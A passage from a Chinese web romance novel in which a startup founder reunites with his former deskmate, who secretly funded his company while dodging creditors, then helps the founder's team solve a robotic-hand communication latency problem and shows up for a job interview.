但他和杜廷旁边那个挎着个葫芦的大爷同时出现在这里,方笑贻目光往地上一转,强行把边煦推开了。 这又是一种巧合吗?还是…… 第65章 “罗总?” 方笑贻丢下边煦,转身去跟杜廷旁边那个干瘦但挺拔的黑老头儿握手,“您好,久仰大名,我是方笑贻。” “你好你好,”老人回握住他的手笑道,“我是罗昌文。” 但当方笑贻朝他表达感谢时,他的反应有点奇怪,他没说话,先看了边煦一眼。 这什么意思? 方笑贻还没琢磨起来,杜廷又插嘴说:“罗总你肯定是要感谢的,但是人家边总,你也不能漏了。” 方笑贻没想漏他,只是脑中全是问号。 边煦什么时候成总了?自己又为什么要感谢他? 这时,方笑贻心里影影绰绰的,其实已经有点预感了。 罗总压根不认识他,给他“资助”200万本来就挺奇怪的,但要是边煦……这种事他干得出来,只是问题是,方笑贻接到投资的时候,边煦家里已经破产一年多了,他人都不见了,哪来的钱? 是他劝这个罗总投的吗?但罗总出钱,看他干嘛? 种种疑问,在方笑贻大脑里信马由缰,但他是老板了,心里翻江倒海,面上却还维持住了淡定,立刻附和了杜廷,又对边煦挤出了感激的笑容。 “是是是,也感谢边总。” 方笑贻的态度够客气,但也够疏离,刺得边煦眉心一蹙。不过他瞬间掩掉了这丝不悦,笑了下说:“你这么叫我,不合适吧?” 方笑贻跟着也扯了下嘴角,脱口而出就是一句:“合适,杜总也是这么叫的。” 可杜廷听了,都觉得他这话不太合适,太生疏,并且那语气也不像开玩笑。然后给钱的倒贴、收钱的拿乔,他俩之间的氛围多少是有点古怪。 但杜廷又看不出个一二三来,只好隐蔽地拿手背一打方笑贻手臂侧面,正要开口:说什么呢,你俩同学,能跟我一样吗? 边煦却忽然耸了下肩,很包容无奈似的,对着方笑贻莞尔一笑:“好吧,随你。” 可是方笑贻看着他,从表情到眼神,忽然之间,却只感觉到了没意思。 自己在干什么啊?他心想:几岁了,还在玩这种无聊的文字游戏,就是赢了又怎么样?谁会在乎? 边煦俨然社会化了,是个有点城府而沉稳的男人了,自己、自己也应该向他学习。 于是方笑贻笑了下,垂眼盖住讽刺,同时虚伪地说:“逗你的,我跟你开玩笑的。” 但这一垂眼,他也错过了边煦脸上一瞬间深沉而刺痛的眼神。 方笑贻有话问他,边煦心里再明白不过,他也想有独处的时间,跟这个人好好交代。 只是还得等一等,他需要在交代之前,让方笑贻知道一些事。这么做确实有挟恩图报的嫌疑,但自己忽然消失又忽然闪现,总得有点被原谅的筹码吧? 下一刻,杜廷抽完烟,把这个筹码提了起来。 “嗨,你们年轻人就是爱搞这一套,”他点评完方笑贻的行为,又对大家说,“既然人都来齐了,那咱们转屋里说吧?罗总跟边总这边这个转股的事。” “好。”方笑贻手指一蜷,这次听得一清二楚,边煦是占股的,那他到底占多少? 方笑贻抬起眼帘,转身做了个请的手势:“来,罗总、边……边煦,里面请。” 边煦看着他那个眼神躲避的假客套样,心想早晚给他扒干净。 四个人很快进了会议室。 这里不常用,椅子都贴墙摆成一圈,桌边只有3把椅子先前搬出来的椅子。 方笑贻过去的时候没注意,这会进来,又在最后面,只能眼见着边煦先提了一把椅子,摆到了他自己右边,又把电脑后面的那瓶水移过来,给他了。 这些举动,边煦都是只做不说。 方笑贻受着,也没吭声,但边煦右手在桌上一划拉,方笑贻立刻就看见了,他右手腕往上有块烫伤。 有手掌宽,肤色比别处略深,带着一点厚度的增生,伤痕边缘是花褶和蟹脚般的不规则纹路。 方笑贻的视线登时被他的手“粘”走了,因为这个痕迹显示,当时烫得不轻。 怎么搞的? 边煦注意到他在看,又往他脸上扫了下,见他还是不看自己的脸,沉吟一下,把右手放到桌下去了。 方笑贻这才看了他一眼。 边煦就在旁边等他,瞬间对上视线,还装模作样地问他:“怎么了?” 那个语气很温和,头也微微地歪着,加上他今天穿得挺休闲,蓝衬衫掖在深蓝直筒仔裤里,两边的袖口挽到手肘,客串个男大,问题也不算很大。 方笑贻一个晃神,蓦地想起了他俩还是同桌时的那会儿。当时有很多这样的时刻,只是那会越快乐,就显得现在越悲哀。 方笑贻正要晃脑袋,把这些回忆甩出去,一个背包带着拉链的碎响,“咚”的一声先落在了桌上。 然后几份文件被递过来,杜廷挑了挑下巴:“这是罗总他们这边,拟的转让协议,笑贻,你先看看价格,你能不能接受?” 杜廷坐在边煦左边,方笑贻的文件就也是他传过来的。 这次边煦用的是左手,方笑贻便又有了新发现,他左边手上那个钨珠手环,也不见了。 之后,这个协商会开得和和气气,因为罗总这边的价格给得挺公道,估值只算到了A轮融资的80%。但他们有个奇怪的要求,就是只能转让给他。 杜廷对此,还光明正大地颇有微词:“我说转给我们社区,我按A轮的估值价接,人还不干呢。” 罗总也是一副吃亏的表情:“老弟,我还不想卖呢。但我们实缴出资人要退出,我也不敢说一个不是。” 说到出资人时,他还埋怨地指了下边煦。 整个会上,方笑贻等的其实就是这一刻,他心跳加速,也忍住了没去看边煦,只盯着罗总,竭力没表现出异样:“等一下罗总,你本身已经藏在杜总后面了,怎么,还有个实缴出资人?” 罗总露出好玩的笑容:“呵呵呵像套娃,是不是?但是小边的账户都被冻结了,他走不了账,这个也是没办法的事,毕竟我们双方都担着风险呢。” 方笑贻没当过失信人,不懂冻结和划扣那些门道,但他听明白了,边煦失去了“身份”,而罗昌文是他的“壳”。 方笑贻点了下头,嘴上说能理解,又问了边煦的出资比例,然后果然不出所料,是100%,放在桌下的左手,不由一下握紧了。 边煦找得到代理,还拿得出200万,但就是没给自己发一条消息,以至于他总忍不住恶意揣测,这个人还在不在世上—— 但是眼下,方笑贻越听越看,就感觉他过得还可以。 罗昌文信任他、杜廷欣赏他,连那个牛笔哄哄的智能体app[星域],也是他带着团队搭建的。 方笑贻放心了,但也感觉到了一种解脱般的疲惫,他替边煦操什么心呢?不需要的,那是一颗比他聪明的大脑。 于是熬到一散场,杜廷问他们怎么走。方笑贻借口上厕所,抓着那个转让协议就夺门而出了。边煦在后头喊他,他也充耳不闻,溜得和背后有鬼一样快。 可他背后也确实有个“鬼”,一个肩宽腿长、穷追不舍的男的。 “方笑贻,方笑贻!” 边煦越喊,前头的背影就跑得越快。 真搞笑,方笑贻边跑边想:自己干什么了?凭什么要跑? 可会上那些见闻,就是让他不想停下来。他怕自己一停下来,就会想对边煦发火。那可是帮他扭转一切的头号金主爸爸,还是客气点吧。 艹! 边煦见状,也闭嘴了只把电脑和背包往路旁剪齐的海桐上一撂,抬脚开始狂奔。 很快,方笑贻就吃了陪领导的亏,皮鞋跑不过德训鞋,没几分钟,就在水榭的入口上被拽住了。 边煦抓的是他的左臂,方笑贻身形一滞,跑不动了,只好顺势转过身来,瞪着边煦火冒三丈:“你跟着我干什么?!” 边煦手上松了分毫,偏浅的瞳色在夜里倒显得黑了:“我还想问呢,你在跑什么。” 方笑贻冷笑一声,用力甩了下手臂:“我在学你啊,躲你。” 边煦愣了下,脸上闪过痛苦和愧疚,但他不肯松开,反而压着方笑贻这只手,把人另一边的肩膀也按住了才说:“不是我想躲你,只是我每次一找……” 还不想?方笑贻一听这个,气不打一出来:“放屁!昨天在高铁站电梯旁边的那个男的,是不是你?” 边煦目光闪烁了一下,但没撇开:“是。” “那还叫不想吗?你踏马跑得比、不对,你没跑,”方笑贻视线一扬,咄咄逼人道,“你躲在电梯对面,看我像个傻子一样往……” 他说自己像傻子。 边煦嘴唇细微地抖了下,视线酸涩地定在他脸上,眼底的情绪猛然变浓了。边煦意味不明地笑了一声,低声打断了他:“你是挺傻的。” 说着右手猛地往后一翻,包住方笑贻的后脑勺,让他避无可避的,被自己堵住了还在说话的双唇。 除了“傻子”,谁还找他啊?聪明人都生怕被沾上,拉低了自己蒸蒸日上的小日子的质量。 第66章 先是唇后是舌,还有一点不知道是香水、沐浴液还是洗发水的气味,直往鼻腔里钻。 方笑贻也没空分辨,只余心眼一阵狂跳:啥玩意儿! 边煦这个狗.日的,这么多年过去了,还是只会搞强吻这套。 边煦却不管这一套是高级还是低级,他过了太久压抑的生活,以至于一碰到这个人,欲.望刹都刹不住。他也不想刹。 暧昧的水声很快在连廊里响起,这是一个比年少时强势太多的吻。 但是方笑贻很抗拒,他气得头皮发麻,用了打架的力气来挣扎,只是后仰、推搡和踩脚纷纷失败之后,他终于忍不住一紧牙关,气急败坏地咬了边煦一口。 尖锐的齿锋扎进舌尖,边煦疼得一抽气,不得不松开了些许。 方笑贻趁机猛地把他一推,边煦瞬间踉跄出去,脚步在架空的木板上倒退出咚咚的回响。 距离拉开,两人气息都乱,喘成了一片。 方笑贻一边怒瞪他,同时立刻拿右手背擦了下嘴,因为嘴里那种被翻搅的、唾液开始充盈的感觉还很明显。 对面,边煦明显被咬痛了,眉毛皱着,嘴唇还在微微抿动,像在攒血,但他看方笑贻的整体神态是轻快的,像只偷腥的猫。 那个表情真欠抽,方笑贻才看了两眼,就想上去了扇他了,但又顾忌他那个牛劲,只好忍了,下巴一扬,生冷凌厉道:“你这是在干什么?性骚扰吗?” 边煦嘴里一片咸腥,但他没吐、也没找纸,沉默地咽掉了,又明知故问:“我骚扰到你了吗?” 这是人话吗?方笑贻嗓门直往上抬:“当然!你以为你现在是什么身份?” 边煦现在确实没身份,只好看了他两秒,来了句:“那你报警吧。” 方笑贻额头上青筋一跳,瞬间发出了人在极度无语时的标志性气笑。 为了这种破事去浪费警力,他真丢不起这个人。而且报警有什么用?警察顶多吃个狗血烂瓜。 但什么也不说,也很窝囊,方笑贻厉声说:“再有下次,我会的。” 边煦未必不敢,只是看他气得像个河豚,心软了:“没下次了,别生气。” 方笑贻信他个屁,心想:瞧把他这个罪魁祸首给大方的。 但他也不想跟边煦争了,这人的种种行为,都让他摸不着头脑。与此同时,方笑贻也忽然意识到,自己这么急眼,也是一种在意的表现。 但也像他自己说的,他有什么身份来在意呢?其实他也没有,他跟边煦半斤八两。 他俩真够搞笑的,好笑到方笑贻真的笑了下,然后忽然感觉到了疲惫,他说:“你还有事吗?没有就回见吧,我累……” 话没说完,边煦感觉他神色不对,立刻打断了他:“有,我可以解释的。” 方笑贻怔了下,还没说话。 边煦已经往前走了一步,盯着他说了起来:“昨天在车站,我不是故意躲你的。只是我带着我奶奶,还有……” 他刚发过神经,一过来,方笑贻立刻跟着退了一步。 边煦当即停住了,脚上和嘴一起。 但那种小心翼翼十分尴尬,好像他们不是故人,而是什么斗兽。 方笑贻心里不舒服,很快也不动了,又沉默两秒,把话接了:“还有什么?” “还有两个债权人,我感觉你应该不会想见我奶奶,我呢,”边煦顿了下,“也许是因为自卑吧,我也不想让你见我的债权人。” 其实边煦是在电梯中间下的车,要不是因为在人群后面瞥到了一张看着像他的脸,就方笑贻那个磨叽劲,边煦早该下站台了。因为他们都是冲钱来的,全都没什么行李。 他看起来还挺云淡风轻的,但“自卑”绝对是个神来之笔。 方笑贻的眸光瞬间震了震,连边煦都懂自卑了,这可真是个地狱笑话。 但不少破产的都跳楼了。 边煦其实不是他家破产的主体,但他是盛芝兰财产的唯一继承人,这为他带来了超乎想象的麻烦。 方笑贻胸口发闷,语气前面缓和了些,但说到后面,又变成了质问:“行吧,我知道了,就算你在车站没毛病。但是这么久了,你就没有一点点多余的时间,给我发个消息吗?” 边煦站在夜色里,迎着他情绪的火药味,看他的眼神却很温柔。 “我给你发消息,然后呢?”他轻声问方笑贻,“你以为你就能收到‘我没事,别担心’这种短信,然后你我各自安好吗?” 方笑贻不知道,但他犟了一句:“然后是什么?你说说看。” 边煦如今提起这些,已经挺淡定了。他过了一段艰难的人生,也熬出了一种山一样的定力。 “然后你的电话和短信会被催爆,叫你替我还钱。你会收到我奶奶,或者是我被P的裸照,伪造的执法机关公函。甚至运气不好,某一天,你家的大门忽然就被从外面打开了,门口站着一个催收公司的,跟一个茫然的开锁师傅。” 方笑贻脑子里乱糟糟的,暴力催收他是有所耳闻的,但经历的人肯定是另一种感受。 边煦又说:“你知道唐悦因为心脏病住过院吗?” 方笑贻不知道,因为唐悦没说过,但他去香港很突然,方笑贻心里顿时划过一种不祥的预感。 “就是因为我开了新号之后,联系了他。第三天晚上,他公寓的门就被打开了。” 边煦说这句的时候,表情没什么变化,但眼底有种很阴暗的东西。 从那天起,他就下定了决心,债务一天不清,他越在乎谁,就会消失得越彻底。 方笑贻眼眶一酸,其实已经懂了,他过得艰难,并且不屑于成为累赘。 只是自己的担心也是真的,方笑贻说:“催收的是挺吓人,但他们总不可能每天都用那种强度,盯着你们和相关的人吧?你偷偷用别人的手机,联系一下不行吗?” “在我可以联系你的时候,”边煦实话实说,“我状态太差了,只想躲起来。” 太多事了,盛芝兰被拘留,所有的事都压到了他头上,被催收、被打官司、去打官司,还有前半生过得太富足,导致吃不到肉都比别人更难熬。 “后面你公司起来了,我就冒不起这个风险了。” 因为他家里有一笔是拍卖债,9位数的应收款,不到500万就拍出去了,中间差的这1个多数量级,就像层层不良资产公司的榨汁机,方笑贻但凡沾上他,不死也得脱层皮。 方笑贻听完,立刻想起了一个问题:“等一下,我公司是靠你给的那200万周转过来的,你既然有债,哪来的钱给我投资?” 边煦扬了下眉毛,有点心虚地说:“赌来的。” 方笑贻却把脸一皱:“你在搞什么啊?” 提起这个破事,边煦还有点难受,说:“那个本钱,是一个欠我家钱的老板给的。” 其实他们两家公司,都是这个欠那个、那个欠银行,被抽贷连环拖死的。 “我之前去要,他都说没钱,我那次去也没抱希望,但他主动给了,是5根100g的金条,他叫我拿去上学。但是他第二天就跳楼了,我那会儿也不是很想上学了,我准备去当老赖,上岗之前,偷偷回去看了下你。” “结果你也苦哈哈的,还在拿自己的存款发工资,”边煦叹了口气,“我就说搏一搏,把钱给我堂哥了,结果你还有真有点狗屎运,踩中了一个黑天鹅。我看你这样,我就想,那我也再等等。” 方笑贻觉得他傻得要死,嘀咕道:“你自己都朝不保夕呢,还在管别人。” “你也不是别人,”边煦说,“而且我当时想要的,也只是一个念想而已。” 方笑贻心下一暖,其实是想开个玩笑:“这么万念俱灰了吗?” 但是边煦“嗯”了一声。 方笑贻顿时安静住了,好几秒才说:“那你后来等到了吗?你的黑天鹅。” 边煦点了下头:“等到了,但我拒绝了。” 方笑贻脸上冒出个问号:“啊?” 然后听这货来了句:“我堂哥傍了个富婆,也想介绍一个给我。” 这真是一个小众的领域,方笑贻评价无能,只好无语。 边煦怕他误会,还在解释:“真的拒绝了,我是卖app还的债,你不信我给你看流水。” 方笑贻没说信,也没说不信,只给了他一个白眼,接着换了话题:“你家里的债怎么样了?” 边煦说:“差不多,结清了。”外头还有些别人欠的,估计是死账,要不回来了。 方笑贻又问了下盛芝兰,边煦答道:“她年纪大了,有点心衰,其他都还好。” “那就好,”方笑贻放下心来,终于腾出思绪和勇气来过问他了,“那你呢?你怎么样?” “我这几年过得不怎么样,”边煦迎着他的视线,顿了下,又张开双手,做了个抱一下动作,“但我还是爱你。” 方笑贻十分感动,但没抱他,只过去拍了下他的肩膀:“谢谢,但是不好意思,有人在等我,我先走了。” 边煦脸上瞬间没了表情:“谁?” 方笑贻虚头巴脑道:“你不认识。” 边煦终于感觉到了空间缺位的危机感,抓住方笑贻回去拿了包和电脑,又跟着他跑到西门口,看到他爬上了一辆比亚迪.汉。 只是那个司机在前面很大声地说:“是尾号0013的乘客吗?” 边煦顿时白紧张了:搞了半天,他也不认识。 第67章 路上,司机不知道在放什么歌。 什么my love,什么别让爱掉落,还能不能继续纠缠我。 方笑贻原本就在晃神,不经意间听见歌词,心里登时加大火力,大杂烩炖得越发起劲。 边煦说还爱他,那他呢? 他担心边煦,这个方笑贻不否认,但再多的,太突然了,他没想过。他跟边煦认识得太早了,当时软弱、破事又多,相互扶持没几分,放弃和自我感动倒是不少。 春短冬长,这不是什么健康的感情,但是边煦……方笑贻一想起他,就侧向车窗,拿指背抵住了嘴唇。 好在手机忽然震起来,方笑贻翻开一看,来电人是张侃。 他在对面疯狂吐槽:“熊彬就是辞职!也得有点道德吧?这不还没辞吗?怎么我问他工作问题,丫跟死了一样!” 工作令人清心寡欲,方笑贻秒变打工人,叫他注意用词,又说:“你问他什么了?” “还是上次出现过的问题,在gazebo里面跑完的仿真,确认过算法能达到实际的通信频率。但连上机械手之后,手指关节的通信完全不行,延迟都上秒了。” 延迟的问题是不可避免的,但一秒以上完全不标准。 方笑贻说:“之前试出来的解决办法,都没用吗?” “都失效了,这次是新的问题,我跟老何试了上次熊彬说过的所有法子,都不行,我就想问又咋了?”张侃炸毛,“就这,7个小时没回我,靠!” 方笑贻不想过度揣测熊彬是故意的,说:“我打一个问问,你别上火。” 张侃预言:“你打一样不鸟你。” 然后很神,果然没人接。 手长在电话对面,方笑贻也没办法,只能安抚他:“你休息吧,我找别人问问,其他的明天再说。” 张侃“哼”着挂了,方笑贻切进v信,一眼就看到了[笑对人生]。 这是用罗昌文的证件注册的微信,不过聊协议那会儿,方笑贻看见了,这号是边煦在用,他在电脑上回消息来着。 方笑贻点进去,翻了下昨天的聊天记录,当时不知山不是山,现在一看,对面全是预防针。然后自己还那么恭敬,纯纯浪费感情。 方笑贻翻了个白眼,退出来,给谢元朗发了消息。 这位也是个折腾人,发财破产又创业,现在重新进了个小众赛道,水下机器人检测,正在启动二轮种子融资。 谢元朗的消息回得倒快,但他也没辙,水下跟灵巧手是两个方向,通信要求不是一个等级。 [Xie]:你找慧灵的算法问问吧 [Xie]:他家做机械臂,对通信要求高 慧灵科技是云枢的战略合作伙伴,方笑贻找他们倒是不难,只是他通过慧灵的老板,找到对方的算法时,电话对面兵荒马乱,有个婴儿在嗷嗷大哭。 慧灵的李工也焦头烂额,他女儿发烧了,闹得厉害,他不住地说抱歉。 方笑贻哪儿受得住,问题都没提,问候两句赶紧挂了。紧跟着快车一脚刹车,停在了小区万樾府的东门。 去年,方笑贻在这儿按揭了个三居室,装好之后,给王玉华他们在住。书院离工业园要跨城区,方笑贻干脆就回家来了。 他付了款,一下车,看见底商的蛋糕店里,一个少年推门而出。 对方穿蓝白校服,个子1米7出头,左臂弯里夹书,右手上提个袋子,正悠哉地甩来荡去,正是他侄儿方想。 这小子今年13岁,上初一,生得浓眉大眼,沉迷甜食,已经蛀了两颗大牙。 方笑贻在感应门口揪住了他的后衣领。 少年恼火地扭过头,看到人,又咧开了一口大白牙:“舅,你哪儿冒出来的?” “我晚上在这边开会。”方笑贻说着,低头一拨他的袋子,然后就愣了下。 因为很诡异,方想吃甜食的口味,像边煦,吃不腻蓝莓和甜芝士。 方想却以为他嫌自己买多了,赶紧指天发誓:“我真的!两个星期没吃了,这一点都不多,你不要回家告我状昂?求求了。” 方笑贻脑子里装的东西跟他风马牛不相及,手一松,挥得倒是潇洒:“好好刷牙就放你一马。” 但挥完直想揉太阳穴,感觉某人一出现,阴魂不散的迹象就来了。 然后这“阴魂”也争气,方笑贻前脚才洗漱完,后脚他消息就来了。 [笑对人生]:[引用→接您吃顿便饭]明天吃饭吗? 吃屁啊,骗子。 昨天的聊天消息,自己真是恭敬的没眼看,方笑贻有点脚趾扣地,一个左滑,进了公司技术组的小群。只是一翻,最新的消息,又全是张侃对熊彬阴阳怪气的@,然后熊彬装死。 方笑贻看见这个也烦,又退出来,盯着边煦那个微笑头像和老年id发呆。 在得知他的生活概况之后,这些东西好像都变得有深意了。方笑贻心里不是滋味,于是过了会儿,他又还是给边煦回了条消息。 [方笑贻]:可以的罗总 对面过了几分钟才回。 [笑对人生]:没有罗总,只有我 方笑贻明知故问:[你是哪个] [笑对人生]:[报告]我是边煦 方笑贻冷笑了一下:[不装了啊“罗总”] [笑对人生]:不敢了 接着方笑贻屏幕顶上一闪,掠过一条提示。 [通讯录①]:边煦-请求添加您为朋友 方笑贻却没有退出,还在这个对话框里发:[我只接了罗总吃饭] [笑对人生]:我知道,所以明天是我接你吃饭 吃什么吃?没吃都够发疯了,方笑贻赶紧回了条:[明天有事] [笑对人生]:什么事? 方笑贻说公司的事,边煦问他你公司遇到麻烦了啊?方笑贻一想,这可是他自己要问的,不白嫖对不起自己成本节约的习惯,便回技术群选了一串问题合并,转发给了他。 [方笑贻]:我们技术组遇到了一个问题 这时,万豪酒店,8015室内,边煦坐在贴窗的和风沙发上,看完他的群消息,立刻鸡贼地说: [我感觉是通信包有问题] [上我号那边说吧] 方笑贻被技术扼住咽喉,只好出去点开了他的好友申请。 边煦上学时的账号被债权人举报过多,永久封号了。这个新号头像十分敷衍,还是[笑对人生]那张,地区填的就是杭市。 方笑贻点完接受,手机上立刻弹出个对话框,框顶的头像则刷新了,变成了一个浮满代码的金属大脑,新消息也过来了。 [边煦]:这个是我自己的号了 [边煦]:等之前的项目收利落,笑对人生就还给罗总了 这好像是一种交代,方笑贻回了个OK,把话题扯到了正事上。然后很快他就发现,这个事他问边煦,效率高于他辗转去找任何人。 边煦从高中起就开始写算法,这几年为了清债,自己做加上外包,项目经验之丰富,在同龄人层面是绝对的头部。 他做事也靠谱,立刻换上电脑,一边用经验给方笑贻罗列可能性。另一边又上开源社区,去征集虚拟机延迟的原因。 到了11点半,方笑贻把边煦总结给他的方案,转发进了技术群。 一共8条,可能性+解决办法,写得简单又明了。 1、ubuntu无法调用本机gpu/建议:用wsl2安装多版本ubuntu,远程连接ide 2、同时跑多个程序,算力被占/让强需求程序独占cpu核 3、若独占,延迟依旧大于几十微秒,考虑通信包太大/需清洗冗余数据 …… 除了最后一句,打着括号:(如果问题还是没有解决,我给你看看底层代码吧) 然后不到5分钟,张侃就遇到了这一天之中,让他感觉最爽的事。 熊彬忽然就出现了,既抱歉又礼貌,说他生病了,昏睡到现在。 但明眼人都看得出来,他只是失去了摆架子的资格。原以为自己不出现,就能让项目卡在这里。结果人家不知道是谁,给的方案比他多一倍还拐弯。 张侃差点笑死,在群里口蜜腹剑:[@熊彬没事的熊,我感觉问题能解决了,你要还是不舒服,明天继续请假休息吧] 方笑贻摊着手机,看见熊彬立刻拒绝了,但张侃竟没有追着嘲讽他,只一味的八卦。 [张侃]:老板,这是哪个厂的大佬?怎么以前没感觉到存在感哪 底下一串+1。 方笑贻不可能跟他们解释,只好瞎忽悠:[以前不认识] 但是张侃不买账:[不可能吧?刚认识,人家就连底层代码这种屎山,都愿意帮你看?] 方笑贻没理他,假装没看见,从群里出来,给边煦发了个“谢谢”。 对面没有立刻回,张侃又从群里追到对话框上,非要方笑贻引荐,要跟边煦connection。 这是明显的名校留子做派,有机会就拓展交流、扩大圈层。 方笑贻觉得对他俩也没坏处,就把张侃的名片推给了边煦,然后自己正在替张侃写履历,对面的消息先来了。 [边煦]:不要谢谢,我要一起吃饭 自家员工刚把他捧上天了,结果他这个样,方笑贻忍了好几秒,也没忍住:[你怎么像个讨饭的] 第68章 不是像,就是讨。 边煦回得理直气壮:[谁叫该请客的故意装傻呢] 正常来说,他帮了忙,方笑贻确实该主动表示,不过边煦更离谱,所以方笑贻也没不好意思,他只是有点头大。 边煦缠人的劲头,他是深有体会的,在他公司闪现这种事,那纯粹只是看边煦想不想。 方笑贻可不想让他去,这货脸招女的、技术招男的,去了就是个人形话题,可别给自己添乱了。 方笑贻使出缓兵之计:[行了行了,我明天对下行程,再跟你碰,ok?] 边煦用的是电脑,消息一回一大串。 [边煦]:明天你一对行程,肯定忙到美国去了,又要换成改天 [边煦]:到了后天,我一到吃饭的地方,可能又会看见你们公司的谁,跟我说你出差去了 [边煦]:但还是先ok吧 方笑贻虽然给他发了一排省略号,但人却在床上啼笑皆非:没错,他就是这么想的。 但路都被提前堵死了,得想点新的借口了。 然后都ok了,方笑贻也不想聊了,因为他瞥见那个聊天页面,委实说短不短了,便赶紧放下手机,告诉自己该睡了。 边煦出现得突然,方笑贻本来以为自己会睡不着,然而出乎意料,这一夜他居然丝滑入睡,也没做梦。 像是天晴雨歇,终于重归平静的湖面。 直到早上7点40,他被闹钟吵醒,起来一看,才发现夜里1点42分,边煦又给他发过消息。 [边煦]:截图.jpg [边煦]:你们公司这个张侃,真能说啊 那截图是个语音通话,1小时16分6秒。 方笑贻简直匪夷所思,张侃对大佬自来熟,说1个小时不在话下。但边煦对陌生人,实在不是这么能说的人。 方笑贻真不晓得,到底是什么绝世有趣的技术问题,能让他跟张侃聊到半夜。 不过稍后等他回到公司,路过研发区时,方笑贻就知道了。 工位这边,张侃正在跟同事吹边煦:“……大佬,手拿把掐,延迟对人家来说就是小菜一碟,不像某些人,一问……” 熊彬今天来得挺早,一听脸色就变了。 老何怕他们又干起来,赶紧打断道:“还手拿把掐,你又知道了?” “妥妥的,”张侃笑道,“我昨晚已经social过了,咱老板这同桌,实打实的项目大佬,那个[星域]你们知道吧?就是人家团队做的。” 方笑贻自己没意识到什么不对,然而工位区自有“华生”。 “我靠不愧是你啊张social,十点下班还有精力social。” “啥,等会儿,什么同桌?老板昨天不说不认识吗?” “好像是诶。” “不是好像,就是。” 方笑贻被他们肯定得有点尴尬,脚尖一转,准备跑路。 下一瞬,张侃又乐道:“哈哈,他说叫我们问老板。” 人撒了谎,真是得用n个来圆,方笑贻面露菜色,溜得更快了。 只是背后熊彬看不惯张侃,挖苦说:“别人牛,关你屁事!用得着你小人得志?” 张侃针尖对麦芒道:“怎么不关?佬在找下家,我内推他了,AI算法工程岗。” 那个岗位就是熊彬的,他骂了一句什么,方笑贻没听见,满脑子都是下家、内推……推…… 万一边煦真来了—— 方笑贻心虚地看了眼前台的方向,心里那种矛盾感委实难以言说。边煦来了对公司好,但对他的心脏不是很好。 好在半天下来,边煦都安静如鸡,人没出现,也没再发消息。 方笑贻被这个叫,又要跟那个打电话,乱七八糟的,也就把他这茬给忘了。 然后下午2点半,方笑贻还有个采访,来访的是杭市财经,但他穿了件polo衫来。为此,行政和商务经理把他念了个半死。 “人家是正儿八经的大官媒,”行政质问他,“你怎么可以穿得这么随便?” 方笑贻解释道:“我待会儿会换西装的。”他办公室里有。 商务又觉得不妥了:“西装也不合适,采访在楼顶的试验场,那边都是水泥地、铁架梯子,热不说,穿西装跟场景有点违和。” 方笑贻感觉也有点道理,只好让席子听他们指挥,回家去给自己拿通勤又休闲的衣服。 可席子自己都穿得像个卖保险的,哪里懂什么通勤又休闲?干脆空着手出去,背了个包回来。 方笑贻真是信了他的邪,拎着包进了隔间,扒拉几下,换了身衣服出来了。只是门一拉开,沙发上的人却跟他身上的衣服一样,不知几时,已经换了一个。 这位穿白衬衣、黑西裤,右手腕上今天还戴了块表,正是张侃要内推的那个。 四目忽然相对,方笑贻还没从他的神出鬼没里回过神,张嘴就是一句废话:“你怎么在这儿?” 边煦一下却没说话,只是目光离开他的眼睛,再从头把他打量到了脚。 少年只需要T恤和校服,可如今,方笑贻是个成年男人了,他也会穿色调很温柔的沙色衬衣,再把它扎进黑色的直筒休闲西裤里,勒出优越的腰腿比例,和一种富有质感的挺拔来。 边煦记忆里少见他这种气质,并从中咂摸出了迷人。那种吸引让他心生渴望,渴望迅速无限靠近,再把这人揉进骨血。 可实际上,边煦什么也没做,只是目光悄然转换,然后轻笑一声:“我来面试。” 只是有那么一瞬间,他那种直勾勾的眼神,方笑贻却是看见了的,他心里惊了下,但脸上没表现出什么,只说:“面试在会议室,出门直走再左转,出去的时候带上门谢谢。” 边煦说:“好。” 但好了他又不动,方笑贻等了好几秒,无语道:“好你倒是起来,出去啊。” 边煦这次倒是起来了,只是他走到门口,又没出去,停在门口说:“来啊。” 猛不丁的,方笑贻被他招呼懵了:“干嘛?” “面试我啊。” 方笑贻只能跟他面面相觑,赶紧端了个架子:“我是终面,你去找前面的流程。” 边煦一本正经道:“找了的,就是前面的流程把我送过来的。” 方笑贻信他个屁:“前面面你的是张侃吗?” 那也能叫个流程? * “是,”边煦老实交代,“不过还没面谈,只是见了个面。” 方笑贻心知肚明,因为没有公司的算法岗会只面5分钟,他说:“哦。” 哦完也没问:为什么没面谈? 边煦是他的“同学”,来了他的地盘,肯定是先见他,这没毛病。 方笑贻告诉自己不要反应过度,但虚伪对边煦说欢迎欢迎、大佬光临,他也干不出来。 办公室里一瞬无言,那种空白,刺得边煦眸光一沉。 不过方笑贻忙着没话找话,没注意到,他搜肠刮肚一通,最后脑残地来了一句:“你真的在找工作啊。” “嗯,昨天不是说过了吗?我准备回来做机器人的,只是,”边煦眼里有种看穿的锋利感,“你看起来好像不是很欢迎我。” 方笑贻一阵语塞,他欢迎边煦的能力,但不欢迎这人的感情,只是门还大敞着,谈不了这个。 另外,方笑贻也有专业上的考量,他说:“别瞎说,你的方向是通用大模型,但我这里VLA也只有手,勉强也算上机械臂部分的模型板块,你到我这里来,真的适合你吗?” 这倒是个真心的问题,边煦无奈地看他一眼,反手又把门关了。 方笑贻神经一绷,一句“干嘛”瞬间就到了嘴边。 边煦却先往门上一靠,似笑非笑道:“你是觉得我为了跟你朝夕相处,在拿工作开玩笑吗?” 打心底里,方笑贻确实这么想过,但被戳破就有点尴尬了,他眯了下眼睛说:“我没这个意思。” 边煦扯了下嘴角:“你有,你不想见我。” 这一句语气非常笃定,像是一种温和包装过的挑衅。 方笑贻瞬间跑题了,脸色隐隐发沉:“你确定?要在我办公室聊这个?” 有什么不行的?边煦说:“你小点声,别人听不见的。” 方笑贻气得笑了一声:“我为什么要在自己的办公室里小声?” 边煦实事求是道:“你声音大了,你同事可能就听见了。” 方笑贻胸口起伏了下,恼火地说:“你别在这里说这些不就……” 话没说完,门忽然响了。 咚咚两声过后,紧跟着就是谭小萱的声音:“老板,杭财的人到了。” 方笑贻蓦然被打断,才想起自己把正事忘了个精光,他瞪了边煦一眼,小声警告他:“你别再乱说话了。” 说完才扬声搭理谭小萱:“知道了,我马上来。” 门外,谭小萱“好”了一声,没动静了。 方笑贻以为她走了,可实际上,此刻他要是拉开门,就会发现他八卦的前台还贴在门上。 十分钟前,屋里这位访客空降在大厅,问她们方总在不在。 谭小萱困顿的双眼瞬间被点亮,她客气地说在,请问了他是谁,有预约吗? 他说他是方总的同学,没预约。 看在那张脸的份上,谭小萱会给他通报的,加上身材,立刻马上。 